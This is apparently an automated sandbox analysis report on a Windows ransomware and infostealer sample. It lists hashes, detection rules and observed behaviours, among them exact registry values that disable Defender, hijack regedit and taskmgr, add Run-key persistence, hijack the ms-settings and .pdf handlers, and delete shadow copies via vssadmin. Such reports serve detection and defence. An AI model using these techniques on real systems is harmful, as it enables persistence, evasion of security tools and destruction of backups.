Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
23/05/2026, 04:15
Static task
static1
4 signatures
Behavioral task
behavioral1
Sample
2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
46 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win11-20260513-en
windows11-21h2-x64
45 signatures
150 seconds
General
- Target 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe
- Size 50KB
- Sample260523-evkzqsft71
- SHA256 7388a9489cc001d2e017ee47b1ca480a6e8640fb1a755232cdb98318e6a8043e
- MD5 f2342328fc788452ee40db062ffac4c8
- SHA1 49803d4590a5fa9ec6585171f3373c07c80e5df3
- SHA512 83f8f593d6016244da91e5724706508b3ec30b2e775f1041ba6ffd090611b079ccca726b4dccf37b3b7892c43954fa6d199d884b5fb2a08d4c2a3d3ae90af317
- SSDEEP 768:td3VnRxVXHQ+nunD13s0AVg/r/RgL4aC1XXGblfppaKFc5xh:L3JBQz53sXKrGL4aEXGblfLaucl
- TLSH T19933F74437F94111F1BF4ABA4DB192119B31B4A39C22E79E1BD5058E1AB3B40CDA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/1868-0-0x00000000003D0000-0x00000000003E2000-memory.dmp disable_win_def behavioral1/files/0x0007000000024947-2389.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects command variations typically used by ransomware 2 IoCs
resource yara_rule behavioral1/memory/1868-0-0x00000000003D0000-0x00000000003E2000-memory.dmp INDICATOR_SUSPICIOUS_GENRansomware behavioral1/files/0x0007000000024947-2389.dat INDICATOR_SUSPICIOUS_GENRansomware - Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
resource yara_rule behavioral1/memory/1868-0-0x00000000003D0000-0x00000000003E2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender behavioral1/files/0x0007000000024947-2389.dat INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2484 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2908 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\sysupdate.exe 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Windows\system32\sysupdate.exe 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Windows\system32\svchost.exe 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 5588 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2884 sc.exe 3860 sc.exe 5040 sc.exe 2224 sc.exe 2684 sc.exe 940 sc.exe 4180 sc.exe 2492 sc.exe 472 sc.exe 5016 sc.exe 4836 sc.exe 3108 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 204 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5632 ipconfig.exe 5848 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5708 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3400 vssadmin.exe 5836 vssadmin.exe 5968 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\Desktop\WallpaperStyle = "2" 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134239833575683424" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key deleted \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings\shell\open 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe\" \"%1\"" 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings\shell\open\command 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings\shell\open 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\.pdf\ = "PDFBotnet" 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings\shell\open\command 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings\shell 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings\shell\open\command\DelegateExecute 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings\shell 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3452 schtasks.exe 5436 schtasks.exe 1180 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
